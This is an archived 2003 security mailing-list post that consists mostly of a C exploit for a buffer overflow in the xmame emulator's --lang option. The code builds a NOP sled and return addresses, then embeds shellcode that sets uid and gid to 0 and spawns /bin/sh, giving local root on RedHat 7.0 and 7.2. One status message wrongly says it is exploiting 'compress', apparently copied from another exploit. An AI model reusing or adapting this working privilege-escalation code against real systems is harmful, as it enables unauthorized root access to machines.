xmame gain root exploit

From: Gabriel A. Maggiotti (gmaggiotat_private)
Date: Sat May 31 2003 - 07:36:41 PDT

  • Next message: Street: "Re: Windows XP SP1 gethostbyaddr() flow (Re[3]: mirc32 6.0x crash when resolving dns.)"

    /*
    ---------------------------------------------------------------------------
    Web:  http://qb0x.net                   Author: Gabriel A. Maggiotti
    Date: March 31, 2003  	                E-mail: gmaggiotat_private
    ---------------------------------------------------------------------------
    */
    
    #include <stdio.h>
    
    #define OFFSET 1058
    #define NOP 0x90 
    #define NOP1 'B' 
    #define RET_70 0xbfffee00  
    #define RET_72 0xbfffedf0  
    
    int
    main(int argc, char *argv[])
    {
    int i=0; char buf[OFFSET];
    int c, ret;
    
    unsigned char shellcode1[] =
    "\x33\xDB\x33\xC0\xB0\x1B\xCD\x80" // alarm(0);
    "\x31\xdb\x89\xd8\xb0\x17\xcd\x80" // setuid(0);
    "\x31\xc0\x50\x50\xb0\xb5\xcd\x80" // setgid(0);
    "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
    "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
    "\x80\xe8\xdc\xff\xff\xff/bin/sh";
    
    
    	if(argc != 2) {
    		fprintf(stderr,"usage: %s <os_type> \n",argv[0]);
    		fprintf(stderr,"types:\n RedHat 7.0 - [1]");
    		fprintf(stderr,"\n RedHat 7.2 - [2]\n\n");
    		return 1;
    	}
    	
    	c=atoi(argv[1]);
    
    	switch(c) {
    		case 1:
    			printf("Exploiting compress for RedHat 7.0\n");
    			ret = RET_70 - OFFSET;
    			break;	
    		case 2:
    			printf("Exploiting compress for RedHat 7.2\n");
    			ret = RET_72 - OFFSET;
    			break;	
    	}
    
    	for(i=0;i<=OFFSET-1 ;i++)
    		buf[i]=NOP;
    	for(i=OFFSET-301;i<=OFFSET-1 ;i+=4)
    	*(int *) &buf[i++] = ret;
    	memcpy(buf+200,shellcode1,strlen(shellcode1));
    	execl("/usr/local/bin/xmame.x11", "/usr/local/bin/xmame.x11","--lang", buf, NULL);
    
    return 0;
    }
    
    /*
    ---------------------------------------------------------------------------
    research-listat_private is dedicated to interactively researching vulnerab-
    ilities, report potential or undeveloped holes in any kind of computer system.
    To  subscribe to   research-listat_private t send a blank  email  to 
    research-list-subscribeat_private More help  available  sending an email
    to research-list-helpat_private
    Note: the list doesn't allow html, it will be stripped from messages. 
    ---------------------------------------------------------------------------
    */
    



    This archive was generated by hypermail 2b30 : Mon Jun 02 2003 - 09:40:42 PDT